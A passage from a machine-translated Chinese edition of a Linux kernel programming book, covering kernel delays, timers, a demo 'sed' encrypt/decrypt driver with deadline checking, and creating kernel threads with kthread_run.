2\. cache behavior affecting the time it takes to execute the - * loop function. - * 3\. CPU clock rate changes. - * - * Please see this thread: - * http://lists.openwall.net/linux-kernel/2011/01/09/56 -``` - -`*sleep()`套路有反特点;他们几乎总是倾向于让 T2 睡得比 T4 长。同样,在非实时操作系统(如标准 Linux)中,这些也是意料之中的问题。 - -您可以通过几种方式**缓解这些问题**: - -* 在标准 Linux 上,在用户模式下,执行以下操作: - * 首先,最好使用**高分辨率定时器(HRT)** 接口,精度高。同样,这是从 RTL 项目合并到主流 Linux 的代码(早在 2006 年)。它支持要求分辨率低于单个 *jiffy* 的定时器(如您所知,它与内核`CONFIG_HZ`值定时器“tick”紧密耦合);例如,`HZ`值为 100 时,一个 jiffy 为 1000/100 = 10ms;`HZ`250,一瞬间是 4 毫秒,以此类推。 - * 一旦你做到了这一点,为什么不使用 Linux 的软实时调度功能呢?在这里,您可以为您的用户模式线程指定`SCHED_FIFO`或`SCHED_RR`的调度策略和高优先级(范围为`1`到`99`;我们在配套指南 *Linux 内核编程-* *第 10 章* *中央处理器调度程序–第 1 部分*中介绍了这些细节。 - -Most modern Linux systems will have HRT support. However, how do you exploit it? This is simple: you're recommended to write your timer code *in user space* and employ standard POSIX timer APIs (such as the `timer_create(2)` and `timer_settime(2)` system calls). Since this book is concerned with kernel development, we won't delve into these user space APIs here. In fact, this topic was covered in some detail in my earlier book, *Hands-On System Programming with Linux*, in *Chapter 13, Timers*, in the *The newer POSIX (interval) timers mechanism* section. - -* 当您在内核中使用这些延迟和睡眠 API 时,内核开发人员会不厌其烦地清晰地记录一些优秀的建议。在官方内核文档中浏览这个文档真的很重要:https://www . kernel . org/doc/Documentation/timers/timers-how to . rst。 -* 将 Linux 操作系统配置并构建为 RTOS;这将显著降低调度“抖动”(我们在配套指南 *Linux 内核编程-* *第 11 章、**CPU 调度器–第 2 部分*中的*将主线 Linux 转换为 RTOS* 部分中详细介绍了该主题)。 - -有趣的是,使用我们“更好”的 Makefile 的 checkpatch 目标可能是一个真正的福音。让我们看看它(内核的检查补丁 Perl 脚本)捕获了什么(首先确保您在正确的源目录中): - -```sh -$ cd <...>/ch5/delays_sleeps $ make checkpatch -make clean -[ ... ] ---- cleaning --- -[ ... ] ---- kernel code style check with checkpatch.pl --- - -/lib/modules/5.4.0-58-generic/build/scripts/checkpatch.pl --no-tree -f --max-line-length=95 *.[ch] -[ ... ] -WARNING: usleep_range should not use min == max args; see Documentation/timers/timers-howto.rst -#63: FILE: delays_sleeps.c:63: -+ DILLY_DALLY("XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", usleep_range(10, 10)); - -total: 0 errors, 2 warnings, 79 lines checked -[ ... ] -``` - -那真是太好了!确保您使用我们的“更好的”`Makefile`中的目标(我们在配套指南 *Linux 内核编程-* *第 5 章,编写您的第一个内核模块 LKMs–第 2 部分*中的*内核模块的“更好的”Makefile 模板*部分中详细介绍了这一点)。 - -至此,我们已经看完了内核延迟和内核休眠。以此为基础,您现在将在本章的剩余部分学习如何设置和使用内核定时器、内核线程和工作队列。 - -## “sed”驱动程序–演示内核定时器、kthreads 和工作队列 - -为了使这一章更加有趣和实际操作,我们将开始开发一个名为**简单加密解密**或 **sed** 的杂项类字符“驱动程序”(不要与众所周知的`sed(1)`实用程序混淆)。不,你不会因为猜测它提供了某种非常简单的文本加密/解密支持而获得大奖。 - -这里的要点是,我们应该想象在这个驱动程序的规范中,有一个条款要求工作(实际上,加密/解密功能)在给定的时间间隔内执行——实际上,在给定的截止日期内*。为了检查这一点,我们将设计我们的驱动程序,使它有一个内核定时器,将在给定的时间间隔内到期;驱动程序将检查功能是否确实在这个时间限制内完成!* - -我们将开发一系列`sed`驱动程序及其用户空间对应程序(应用): - -* 第一个驱动程序-`sed1`驱动程序和用户模式应用(`ch5/sed1`)将执行我们刚刚描述的内容:演示用户模式应用将使用`ioctl`系统调用与驱动程序接口,并使加密/解密消息功能正常运行。驱动程序将关注一个内核定时器,我们将设置它在给定的截止日期到期。如果它确实过期,我们认为操作失败了;如果没有,计时器被取消,操作成功。 -* 第二个版本`sed2` ( `ch5/sed2`)将与`sed1`相同,除了这里的实际加密/解密消息功能将在单独创建的内核线程的上下文中执行!这改变了项目的设计。 -* 第三个版本`sed3` ( `ch5/sed3`)将再次执行与`sed1`和`sed2`相同的操作,只是这次实际的加密/解密消息功能将由内核工作队列执行! - -既然您已经学习了如何执行延迟(原子延迟和阻塞延迟)以及捕获时间戳,那么让我们学习如何设置和使用内核定时器。 - -# 设置和使用内核定时器 - -一个**定时器**为软件提供了一种方法,当指定的时间量过去时,它会被异步通知。用户和内核空间中的各种软件都需要定时器;这通常包括网络协议实现、块层代码、设备驱动程序和各种内核子系统。这个计时器提供了一种异步通知的方式,因此允许驱动程序与正在运行的计时器并行执行工作。出现的一个重要问题是,*我怎么知道计时器什么时候到期?*在用户空间应用中,通常内核会向相关进程发送信号(信号通常为`SIGALRM`)。 - -在内核空间,这有点微妙。从我们关于硬件中断的上半部分和下半部分的讨论(参见*第 4 章,处理硬件中断*、*理解和使用上半部分和下半部分*部分)中,您会知道,在定时器中断的上半部分(或 ISR)完成后,内核将确保运行定时器中断下半部分或定时器软件 irq(如我们在[第 4 章](4.html)、*处理硬件中断*部分*可用软件 IRQ 以及它们用于*的表格中所示)。这是一个非常高优先级的软件,叫做`TIMER_SOFTIRQ`。这个软件消耗过期的定时器!实际上——理解这一点非常重要——定时器的“回调”功能——定时器到期时将运行的功能——由定时器软件*运行,因此在原子(中断)上下文*中运行。因此,它能做什么和不能做什么是有限的(同样,这在*第 4 章*、*处理硬件中断*中有详细解释)。 - -在下一节中,您将学习如何设置和使用内核定时器。 - -## 使用内核定时器 - -为了使用内核定时器,您必须遵循几个步骤。简而言之,以下是要做的事情(我们将在后面更详细地讨论): - -1. 用`timer_setup()`宏初始化定时器元数据结构(`struct timer_list`)。这里初始化的关键项目如下: - * 定时器到期时间(定时器到期时`jiffies`应达到的值) - * 定时器到期时要调用的函数——实际上是定时器“回调”函数 -2. 编写定时器回调例程的代码。 -3. 在适当的时候,通过调用`add_timer()`(或`mod_timer()`)功能来“启动”计时器,即启动计时器。 -4. 当定时器超时(过期)时,操作系统会自动调用你定时器的回调函数(你在*步骤 2* 设置的那个);请记住,它将在 timer softirq 或原子或中断上下文中运行。 -5. (可选)*定时器不是循环的,默认情况下是一次性的*。要让计时器再次运行,您必须调用`mod_timer()`应用编程接口;这就是如何设置时间间隔计时器——在给定的固定时间间隔内超时的计时器。如果您不执行这一步,您的计时器将是一次性计时器-它将倒计时并正好过期一次。 - -6. 完成后,用`del_timer[_sync]()`删除定时器;这也可以用来取消超时。它返回一个值,表示挂起的计时器是否已被停用;也就是说,对于活动计时器,它返回`1`,对于取消的非活动计时器,它返回`0`。 - -`timer_list`数据结构与我们这里的工作相关;其中显示了相关成员(模块/驱动程序作者): - -```sh -// include/linux/timer.h -struct timer_list {[ ... ] - unsigned long expires; - void (*function)(struct timer_list *); - u32 flags; -[ ...] }; -``` - -使用`timer_setup()`宏进行初始化: - -```sh -timer_setup(timer, callback, flags); -``` - -`timer_setup()`参数如下: - -* `@timer`:指向`timer_list`数据结构的指针(这个应该先分配内存;此外,在形式参数名称前加上一个`@`是一个常见的惯例)。 -* `@callback`:回调函数的指针。这是定时器到期时操作系统调用的功能(在 softirq 上下文中)。其签名为`void (*function)(struct timer_list *);`。您在回调函数中收到的参数是指向`timer_list`数据结构的指针。那么,我们如何在计时器回调中传递和访问一些任意数据呢?我们将很快回答这个问题。 -* `@flags`:这些是定时器标志。我们通常称之为`0`(暗示没有特殊行为)。您可以指定的旗帜有`TIMER_DEFERRABLE`、`TIMER_PINNED`和`TIMER_IRQSAFE`。让我们看看内核源代码中的两者: - -```sh -// include/linux/timer.h -/** - * @TIMER_DEFERRABLE: A deferrable timer will work normally when the - * system is busy, but will not cause a CPU to come out of idle just - * to service it; instead, the timer will be serviced when the CPU - * eventually wakes up with a subsequent non-deferrable timer. - [ ... ] - * @TIMER_PINNED: A pinned timer will not be affected by any timer - * placement heuristics (like, NOHZ) and will always expire on the CPU - * on which the timer was enqueued. -``` - -当必须监视功耗时(例如在电池供电的设备上),使用`TIMER_DEFERRABLE`标志非常有用。第三个标志`TIMER_IRQSAFE`,仅为专用;避免使用它。 - -接下来,使用`add_timer()`应用编程接口启动定时器。一旦被调用,计时器将“实时”并开始倒计时: - -```sh -void add_timer(struct timer_list *timer); -``` - -它的参数是指向您刚刚初始化的`timer_list`结构的指针(通过`timer_setup()`宏)。 - -### 我们简单的内核定时器模块——代码视图 1 - -不用多说,让我们深入研究一个简单内核定时器的代码,它是使用**可加载内核模块** ( **LKM** )框架编写的(这可以在`ch5/timer_simple`找到)。与大多数驱动程序一样,我们保留一个包含运行时所需信息的上下文或私有数据结构;在这里,我们称之为`st_ctx`。我们将其实例化为`ctx`变量。我们还在名为`exp_ms`的全局中指定了过期时间(420 毫秒): - -```sh -// ch5/timer_simple/timer_simple.c -#include -[ ... ] -static struct st_ctx { - struct timer_list tmr; - int data; -} ctx; -static unsigned long exp_ms = 420; -``` - -现在,让我们来看看 *init* 代码的第一部分: - -```sh -static int __init timer_simple_init(void) -{ - ctx.data = INITIAL_VALUE; - - /* Initialize our kernel timer */ - ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms); - ctx.tmr.flags = 0; - timer_setup(&ctx.tmr, ding, 0); -``` - -这很简单。首先,我们初始化`ctx`数据结构,将`data`成员设置为值`3`。这里的一个关键点是`timer_list`结构在我们的`ctx`结构中,所以我们必须初始化它。现在,设置定时器回调函数(`function`参数)和`flags`参数值很简单;设置过期时间怎么样?您必须将`timer_list.expires`成员设置为内核中`jiffies`变量(实际上是宏)必须达到的值;到那个时候,计时器就会过期!因此,我们通过将 jiffies 的当前值与 420 毫秒的过去时间所花费的 jiffies 值相加,使计时器在未来 420 毫秒到期,如下所示: - -```sh -ctx.tmr.expires = jiffies + msecs_to_jiffies(exp_ms); -``` - -`msecs_to_jiffies()`便利程序在这里帮助我们转换传递给`jiffies`的毫秒值。将这个结果添加到`jiffies`的当前值将会给我们`jiffies`在未来的值,从现在开始的 420 毫秒,也就是我们想要我们的内核定时器到期的时候。 - -This code is an inline function in `include/linux/jiffies.h:msecs_to_jiffies()`; the comments help us understand how it works. In a similar fashion, the kernel contains the `usecs_to_jiffies()`, `nsecs_to_jiffies()`, `timeval_to_jiffies()`, and `jiffies_to_timeval()` (inline) function helper routines. - -*初始化*代码的下一部分如下: - -```sh - pr_info("timer set to expire in %ld ms\n", exp_ms); - add_timer(&ctx.tmr); /* Arm it; let's get going! */ - return 0; /* success */ -} -``` - -正如我们所看到的,通过调用`add_timer()` API,我们已经武装(启动)了我们的内核定时器。现在是直播倒计时...大约 420 毫秒后,它将过期。(为什么大约?正如你在*中看到的,让我们试试吧——延迟和睡眠真的需要多长时间?*区段、延迟和睡眠 API 并不都那么精确。事实上,建议您稍后进行的练习是测试超时的准确性;你可以在*问题/内核 _ 定时器 _ 检查*部分找到这个。此外,在本练习的示例解决方案中,我们将展示如何使用`time_after()`宏是一个好主意;它执行有效性检查,以确保第二个时间戳实际上晚于第一个时间戳。类似的宏可以在`include/linux/jiffies.h`找到;请参见该行前面的注释:`include/linux/jiffies.h:#define time_after(a,b)`)。 - -### 我们简单的内核定时器模块——代码视图 2 - -`add_timer()`启动我们的内核定时器。正如你刚才看到的,它很快就会过期。在内部,正如我们前面提到的,内核的定时器 softirq 将运行我们的定时器回调函数。在前一节中,我们将回调函数初始化为`ding()`函数(ha,*拟声词*——一个暗示它所描述的声音的词——在起作用!)通过`timer_setup()`原料药。因此,该代码将在计时器到期时运行: - -```sh -static void ding(struct timer_list *timer) -{ - struct st_ctx *priv = from_timer(priv, timer, tmr); - /* from_timer() is in fact a wrapper around the well known - * container_of() macro! This allows us to retrieve access to our - * 'parent' driver context structure */ - pr_debug("timed out... data=%d\n", priv->data--); - PRINT_CTX(); - - /* until countdown done, fire it again! */ - if (priv->data) - mod_timer(&priv->tmr, jiffies + msecs_to_jiffies(exp_ms)); -} -``` - -关于此功能,需要记住几件事: - -* 定时器回调处理程序代码(这里是`ding()`)在原子(中断,softirq)上下文中运行;因此,除了使用`GFP_ATOMIC`标志之外,您不允许调用任何执行任何阻塞的应用编程接口、内存分配,或者内核和用户空间之间的任何类型的数据传输(我们在*中断上下文指南的上一章中详细介绍了这一点——做什么和不做什么*部分)。 -* 回调函数接收`timer_list`结构的指针作为参数。由于我们(非常有意识地)将`struct timer_list`保留在我们的上下文或私有数据结构中,我们可以有效地使用`from_timer()`宏来检索指向私有结构的指针;也就是`struct st_ctx`)。前面显示的第一行代码就是这样做的。这是如何工作的?让我们看看它的实现: - -```sh - // include/linux/timer.h - #define from_timer(var, callback_timer, timer_fieldname) \ - container_of(callback_timer, typeof(*var), timer_fieldname) - -``` - -真的是`container_of()`宏的包装! - -* 然后我们打印并减少我们的`data`值。 -* 然后我们发布我们的`PRINT_CTX()`宏(回想一下它是在我们的`convenient.h`头文件中定义的)。这将表明我们是在软件环境下运行的。 -* 接下来,只要我们的数据成员是正的,我们就通过调用`mod_timer()` API 来强制另一个超时(相同周期的超时): - -```sh -int mod_timer(struct timer_list *timer, unsigned long expires); -``` - -可以看到,有了`mod_timer()`,计时器什么时候再次触发完全由你决定;这被认为是更新计时器到期日期的有效方法。通过使用`mod_timer()`,你甚至可以启动一个不活动的计时器(这是`add_timer()`做的工作);在这种情况下,返回值是`0`,否则就是`1`(意味着我们修改了一个现有的活动计时器)。 - -### 我们简单的内核定时器模块——运行它 - -现在,让我们测试我们的内核定时器模块。在我们的 x86_64 Ubuntu 虚拟机上,我们将使用我们的`lkm`便利脚本来加载内核模块。下面的屏幕截图显示了这个和内核日志的部分视图: - -![](img/8d3fa66c-52cc-44fa-98b5-e7f92ccd785d.png) - -Figure 5.2 – A partial screenshot of running our timer_simple.ko kernel module - -研究这里显示的`dmesg`(内核日志)输出。由于我们已经将私有结构的`data`成员的初始值设置为`3`,内核定时器将到期三次(正如我们的逻辑要求)。查看最左边一列中的时间戳;您可以看到第二个定时器到期发生在`4234.289334`(美国秒),第三个发生在`4234.737346`;快速减法显示时间差为 448,012 微秒;也就是大约 448 毫秒。这是合理的,因为我们要求一个 420 毫秒的超时(有点超过这个时间;打印机的开销也很重要)。 - -`PRINT_CTX()`宏观的输出也很有启发性;让我们看看前面截图中显示的第二个: - -```sh -[ 4234.290177] timer_simple:ding(): 001) [swapper/1]:0 | ..s1 /* ding() */ -``` - -这表明(如*第 4 章*、*处理硬件中断*中详细解释的那样),代码在软件上下文(`..s1`中的`s`)中的 CPU 1(即`001)`)上运行。此外,被定时器中断和 softirq 中断的进程上下文是`swapper/1`内核线程;这是 CPU 1 空闲时运行的 CPU 空闲线程。这是有意义的,在空闲或轻载系统上非常典型。当定时器中断启动时,系统(或至少 CPU 1)处于空闲状态,随后出现了一个 softirq 并运行我们的定时器回调。 - -## sed1–使用我们的演示 sed 1 驱动程序实现超时 - -在这一节中,我们将编写一个更有趣的驱动程序(这方面的代码可以在`ch5/sed1/sed1_driver`找到)。我们将对它进行设计,使它能够加密和/或解密给定的消息(当然,非常简单)。基本思路是以用户模式 app(这个可以在`ch5/userapp_sed`找到)作为其用户界面。运行时,它会打开我们的`misc`角色驱动程序的设备文件(`/dev/sed1_drv`)并发出`ioctl(2)`系统调用。 - -We have provided material online to help you understand how to interface a kernel module or device driver to a user space process via several common methods: via procfs, sysfs, debugfs, netlink sockets, and the `ioctl()` system call ([https://github.com/PacktPublishing/Learn-Linux-Kernel-Development/blob/master/User_kernel_communication_pathways.pdf](https://github.com/PacktPublishing/Learn-Linux-Kernel-Development/blob/master/User_kernel_communication_pathways.pdf))! - -`ioctl()`调用传递一个数据结构,该数据结构封装了正在传递的数据、其长度、要对其执行的操作(或转换)以及一个`timed_out`字段(以确定它是否因错过截止日期而失败)。有效的操作如下: - -* 加密:`XF_ENCRYPT` -* 解密:`XF_DECRYPT` - -由于篇幅不够,我们不打算在这里详细展示代码——毕竟,读了这么多这本书,你现在已经处于一个可以自己浏览、尝试和理解代码的好位置了!然而,与本节相关的某些关键细节将会显示出来。 - -让我们来看看它的整体设计: - -* 我们的`sed1`驱动(`ch5/sed1/sed1_driver/sed1_drv.c`)真的是伪驱动,就是说它不在任何外设硬件控制器或芯片上运行,而是在内存上运行;尽管如此,它还是一个成熟的`misc`级角色设备驱动程序。 -* 它将自己注册为`misc`设备;在这个过程中,一个设备节点是由内核自动创建的(这里,我们将称之为`/dev/sed1_drv`)。 -* 我们安排它有一个驱动“上下文”结构(`struct stMyCtx`),包含它始终使用的关键成员;其中之一是内核定时器的`struct timer_list`结构,我们在初始化代码路径中初始化它(使用`timer_setup()`应用编程接口)。 -* 一个用户空间应用(`ch5/sed1/userapp_sed/userapp_sed1.c`)打开我们的`sed1`驱动程序的设备文件(它作为一个参数传递给它,还有要加密的消息)。它调用`ioctl(2)`系统调用——要加密的命令——和`arg`参数,该参数是一个指针,指向包含所有所需信息(包括要加密的消息有效载荷)的适当填充的结构。让我们简单地看一下: - -```sh -​ kd->data_xform = XF_ENCRYPT; - ioctl(fd, IOCTL_LLKD_SED_IOC_ENCRYPT_MSG, kd); -``` - -* 我们`sed1`司机的`ioctl`法接手。在执行有效性检查之后,它复制元数据结构(通过通常的`copy_from_user()`)并启动我们的`process_it()`函数,然后调用我们的`encrypt_decrypt_payload()`例程。 -* `encrypt_decrypt_payload()`是这里的关键套路。它执行以下操作: - * 启动我们的内核定时器(用`mod_timer()` API),设置它从现在起在`TIMER_EXPIRE_MS`毫秒内到期(这里,我们已经将`TIMER_EXPIRE_MS`设置为`1`)。 - * 抓取时间戳`t1 = ktime_get_real_ns();`。 - * 开始实际工作——它要么是一个加密操作,要么是一个解密操作(我们把它保持得非常简单:一个简单的`XOR`操作,后面是有效载荷的每个字节的增量;解密则相反)。 - * 一旦工作完成,做两件事:获取第二个时间戳,`t2 = ktime_get_real_ns();`,并取消内核定时器(使用`del_timer()` API)。 - * 显示完成所需的时间(通过我们的`SHOW_DELTA()`宏)。 -* 然后,用户空间应用休眠 1 秒钟(自行收集)并运行`ioctl`解密,导致我们的驱动程序解密消息。 -* 最后,它终止了。 - -以下是来自`sed1`司机的相关代码: - -```sh -// ch5/sed1/sed1_driver/sed1_drv.c -[ ... ] -static void encrypt_decrypt_payload(int work, struct sed_ds *kd, struct sed_ds *kdret) -{ - int i; - ktime_t t1, t2; // a s64 qty - struct stMyCtx *priv = gpriv; - [ ... ] - /* Start - the timer; set it to expire in TIMER_EXPIRE_MS ms */ - mod_timer(&priv->timr, jiffies + msecs_to_jiffies(TIMER_EXPIRE_MS)); - t1 = ktime_get_real_ns(); - - // perform the actual processing on the payload - memcpy(kdret, kd, sizeof(struct sed_ds)); - if (work == WORK_IS_ENCRYPT) { - for (i = 0; i < kd->len; i++) { - kdret->data[i] ^= CRYPT_OFFSET; - kdret->data[i] += CRYPT_OFFSET; - } - } else if (work == WORK_IS_DECRYPT) { - for (i = 0; i < kd->len; i++) { - kdret->data[i] -= CRYPT_OFFSET; - kdret->data[i] ^= CRYPT_OFFSET; - } - } - kdret->len = kd->len; - // work done! - [ ... // code to miss the deadline here! (explained below) ... ] - t2 = ktime_get_real_ns(); - - // work done, cancel the timeout - if (del_timer(&priv->timr) == 0) - pr_debug("cancelled the timer while it's inactive! (deadline missed?)\n"); - else - pr_debug("processing complete, timeout cancelled\n"); - SHOW_DELTA(t2, t1); -} -``` - -差不多就是这样!为了了解它是如何工作的,让我们来看看它是如何工作的。首先,我们必须插入我们的内核驱动程序(LKM): - -```sh -$ sudo insmod ./sed1_drv.ko -$ dmesg -[29519.684832] misc sed1_drv: LLKD sed1_drv misc driver (major # 10) registered, minor# = 55, - dev node is /dev/sed1_drv -[29519.689403] sed1_drv:sed1_drv_init(): init done (make_it_fail is off) -[29519.690358] misc sed1_drv: loaded. -$ -``` - -下面的截图展示了它加密解密的一个示例运行(这里,我们特意运行了这个 app 的**地址杀毒软件** ( **ASan** )调试版本;它可能只是揭示 bug,所以为什么不呢!): - -![](img/b69c5a7c-64ac-4b18-83fb-5b944288b6eb.png) - -Figure 5.3 – Our sed1 mini-project encrypting and decrypting a message within the prescribed deadline - -这里一切都很顺利。 - -让我们看看内核定时器回调函数的代码。在这里,在我们简单的`sed1`驱动程序中,我们只需让它执行以下操作: - -* 自动将私有结构`timed_out`中的一个整数设置为`1`值,表示失败。当我们将数据结构复制回我们的用户模式应用(通过`ioctl()`)时,这允许它轻松检测故障并报告/记录故障(关于使用原子操作符的细节以及更多细节将在本书的最后两章中介绍)。 -* 向内核日志发出`printk`(在`KERN_NOTICE`级别),表示我们超时了。 -* 调用我们的`PRINT_CTX()`宏来显示上下文细节。 - -内核定时器回调函数的代码如下: - -```sh -static void timesup(struct timer_list *timer) -{ - struct stMyCtx *priv = from_timer(priv, timer, timr); - - atomic_set(&priv->timed_out, 1); - pr_notice("*** Timer expired! ***\n"); - PRINT_CTX(); -} -``` - -我们能看到这个代码——定时器到期功能——运行吗?我们安排下一步做这件事。 - -### 故意错过公共汽车 - -我之前遗漏的部分是一个有趣的问题:就在第二个时间戳被获取之前,我们插入了一点代码来故意错过神圣不可侵犯的截止日期!怎么做?这真的很简单: - -```sh -static void encrypt_decrypt_payload(int work, struct sed_ds *kd, struct sed_ds *kdret) -{ - [ ... ] - // work done! - if (make_it_fail == 1) - msleep(TIMER_EXPIRE_MS + 1); - t2 = ktime_get_real_ns(); -``` - -`make_it_fail`是默认设置为`0`的模块参数;由此可见,只有你想危险地生活(是的,有点夸张!)你应该把它叫做`1`。让我们试试看,看看我们的内核定时器是否到期。用户模式应用将检测到这一点并报告故障: - -![](img/29cfeb09-64fd-40e7-92e9-8752bcd8fde6.png) - -Figure 5.4 – Our sed1 mini-project running with the make_it_fail module parameter set to 1, causing the deadline to be missed - -这一次,在计时器被取消之前,超过了最后期限,从而导致它过期并触发。然后它的`timesup()`回调函数运行(在前面的截图中突出显示)。我强烈建议您花时间详细阅读驱动程序和用户模式应用的代码,并自行试用。 - -The `schedule_timeout()` function that we briefly used earlier is a great example of using kernel timers! Its internal implementation can be seen here: `kernel/time/timer.c:schedule_timeout()`. - -Additional information on timers can be found within the `proc` filesystem; among the relevant (pseudo) files is `/proc/[pid]/timers` (per-process POSIX timers) and the `/proc/timer_list` pseudofile (this contains information about all pending high-resolution timers, as well as all clock event sources. Note that the `/proc/timer_stats` pseudo-file disappeared after kernel version 4.10). You can find out more information about them on the man page about `proc(5)` at [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html). - -在下一节中,您将学习如何创建和使用内核线程。继续读! - -# 创建和使用内核线程 - -线程是执行路径;它纯粹与执行给定的函数有关。这个功能就是它的生命和范围;一旦它从那个函数返回,它就死了。在用户空间中,线程是进程内的执行路径;进程可以是单线程或多线程的。内核线程在许多方面与用户模式线程非常相似。在内核空间中,线程也是一个执行路径,只是它在内核 VAS 中运行,拥有内核特权。这意味着内核也是多线程的。快速浏览一下`ps(1)`(使用**柏克莱软件发行版** ( **BSD** )样式`aux`选项开关运行)的输出,我们会看到内核线程——它们的名称用方括号括起来: - -```sh -$ ps aux -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.5 167464 11548 ? Ss 06:20 0:00 /sbin/init splash 3 -root 2 0.0 0.0 0 0 ? S 06:20 0:00 [kthreadd] -root 3 0.0 0.0 0 0 ? I< 06:20 0:00 [rcu_gp] -root 4 0.0 0.0 0 0 ? I< 06:20 0:00 [rcu_par_gp] -root 6 0.0 0.0 0 0 ? I< 06:20 0:00 [kworker/0:0H-kblockd] -root 9 0.0 0.0 0 0 ? I< 06:20 0:00 [mm_percpu_wq] -root 10 0.0 0.0 0 0 ? S 06:20 0:00 [ksoftirqd/0] -root 11 0.0 0.0 0 0 ? I 06:20 0:05 [rcu_sched] -root 12 0.0 0.0 0 0 ? S 06:20 0:00 [migration/0] -[ ... ] -root 18 0.0 0.0 0 0 ? S 06:20 0:00 [ksoftirqd/1] -[ ... ] -``` - -大多数内核线程都是为了明确的目的而创建的;通常,它们是在系统启动时创建的,并且永远运行(在无限循环中)。他们让自己进入睡眠状态,当一些工作需要完成时,醒来,执行它,然后马上回到睡眠状态。一个很好的例子是`ksoftirqd/n`内核线程(每个 CPU 内核通常有一个;这就是`n`的含义——它是核心数字);当软 irq 负载变得太重时,它们会被内核唤醒,以帮助消耗未决的软 IRQ,从而提供帮助(我们在 [第 4 章](4.html)、*处理硬件中断*中,在*使用 ksoftirqd 内核线程*一节中讨论了这一点;在前面的`ps`输出中,您可以在双核虚拟机上看到它们;他们有 PID 10 和 18)。类似地,内核也使用*“kworker”工作线程*,它们是动态的——它们根据工作需要来来去去(一个快速的`ps aux | grep kworker`应该会显示其中的几个)。 - -让我们来看看内核线程的一些特性: - -* 它们总是在内核 VAS 中执行,在内核模式下具有内核特权。 -* 它们总是在进程上下文中运行(参考配套指南 *Linux 内核编程-* *第 6 章*、*内核内部本质–进程和线程*、*理解进程和中断上下文*部分),它们有一个任务结构(因此有一个 PID 和所有其他典型的线程属性,尽管它们的*凭证*总是设置为`0`,意味着根访问)。 -* 它们通过 CPU 调度器与其他线程(包括用户模式线程)争夺 CPU 资源;内核线程(通常缩写为 **kthreads** )的优先级确实会略有提升。 -* 因为它们纯粹在内核增值服务中运行,所以它们对用户增值服务视而不见;因此,它们的`current->mm`值总是`NULL`(确实,这是识别 kthread 的快速方法)。 - -* 所有内核线程都是从名为`kthreadd`的内核线程派生而来的,其 PID 为`2`。这是内核(技术上是第一个 PID 为`0`的`swapper/0` kthread)在早期启动时创建的;你可以通过做`pstree -t -p 2`来验证这一点(查看`pstree(1)`的手册页了解使用细节)。 -* 他们有命名惯例。kthreads 的命名不同,尽管遵循了一些约定。通常,名称以`/n`结尾;这意味着它是一个每 CPU 内核线程。该数字指定了与其关联运行的 CPU 内核(我们在配套指南 *Linux 内核编程-* *第 11 章*、*CPU 调度程序–第 2 部分*、在*理解、查询和设置 CPU 关联掩码*一节中介绍了 CPU 关联)。此外,内核线程用于特定的目的,它们的名字反映了这一点;例如,`irq/%d-%s`(其中`%d`是 PID,`%s`是名称)是线程中断处理程序(包含在*第 4 章*、*处理硬件中断*中)。你可以通过阅读内核文档*减少每 cpu kthreads 引起的 OS 抖动*,在[https://www . kernel . org/doc/Documentation/kernel-per-CPU-kthreads . txt](https://www.kernel.org/doc/Documentation/kernel-per-CPU-kthreads.txt)上,了解如何找到 kthread 名称以及 kthread 的许多实际用途(以及如何调整它们以减少抖动)。 - -我们感兴趣的是,内核模块和设备驱动程序通常需要在后台运行特定的代码路径,与它和内核例行执行的其他工作并行。假设您需要阻止正在发生的异步事件,或者需要在某个事件发生时,从内核中执行一个用户模式进程,这非常耗时。内核线程就是这里的入场券;因此,我们将关注作为模块作者的您如何创建和管理内核线程。 - -Yes, you can execute a user mode process or app from within the kernel! The kernel provides some**user mode helper** (**umh**) APIs to do so, with a common one being `call_usermode_helper()`. You can view its implementation here: `kernel/umh.c:int call_usermodehelper(const char *path, char **argv, char **envp, int wait)`. Be careful, though; you are not meant to abuse this API to invoke just any app from the kernel – that's simply bad design! There are very few actual use cases of using this API in the kernel; use `cscope(1)` to check it out. - -太好了;有了这些,让我们学习如何创建和使用内核线程。 - -## 一个简单的演示——创建一个内核线程 - -创建内核线程(暴露给用户模块/驱动作者)的主要 API 是`kthread_create()`;这是一个调用`kthread_create_on_node()` API 的宏。事实是,仅仅调用`kthread_create()`并不足以让你的内核线程做任何有用的事情;这是因为,虽然这个宏确实创建了内核线程,但是您需要通过将它设置为运行并唤醒它来使它成为调度程序的候选线程。这可以通过`wake_up_process()`应用编程接口来实现(一旦成功,它就会排队到一个中央处理器运行队列中,这使得它可以调度,以便在不久的将来运行)。好消息是`kthread_run()`助手宏可以用来一次性调用`kthread_create()`和`wake_up_process()`。让我们看看它在内核中的实现: - -```sh -// include/linux/kthread.h -/** - * kthread_run - create and wake a thread. - * @threadfn: the function to run until signal_pending(current). - * @data: data ptr for @threadfn. - * @namefmt: printf-style name for the thread. - * - * Description: Convenient wrapper for kthread_create() followed by - * wake_up_process(). Returns the kthread or ERR_PTR(-ENOMEM). - */ -#define kthread_run(threadfn, data, namefmt, ...) \ -({ \ - struct task_struct *__k \ - = kthread_create(threadfn, data, namefmt, ## __VA_ARGS__); \ - if (!IS_ERR(__k)) \ - wake_up_process(__k); \ - __k; \ -}) -``` - -前面代码片段中的注释清楚了`kthread_run()`的参数和返回值。 - -为了演示如何创建和使用内核线程,我们将编写一个名为`kthread_simple`的内核模块。以下是其`init`方法的相关代码: - -```sh -// ch5/kthread_simple/kthread_simple.c -static int kthread_simple_init(void) -{ [ ... ] - gkthrd_ts = kthread_run(simple_kthread, NULL, "llkd/%s", KTHREAD_NAME); - if (IS_ERR(gkthrd_ts)) { - ret = PTR_ERR(gkthrd_ts); // it's usually -ENOMEM - pr_err("kthread creation failed (%d)\n", ret); - return ret; - } - get_task_struct(gkthrd_ts); // inc refcnt, marking the task struct as in use - [ ... ] -``` - -`kthread_run()`的第一个参数是新 kthread 的命脉——它的功能!在这里,我们不打算将任何数据传递给我们的新生儿 kthread,这就是为什么第二个参数是`NULL`。其余参数是指定其名称的 printf 样式的格式字符串。一旦成功,它将返回指向新 kthread 任务结构的指针(我们在配套指南 *Linux 内核编程-* *第 6 